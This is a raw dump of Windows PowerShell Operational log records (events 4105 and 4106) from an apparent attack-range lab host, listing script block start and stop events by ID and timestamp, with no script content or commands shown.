ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050142
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050141
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050127
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050119
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050118
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050117
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050116
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050100
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050099
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050094
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050093
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050089
Keywords=None
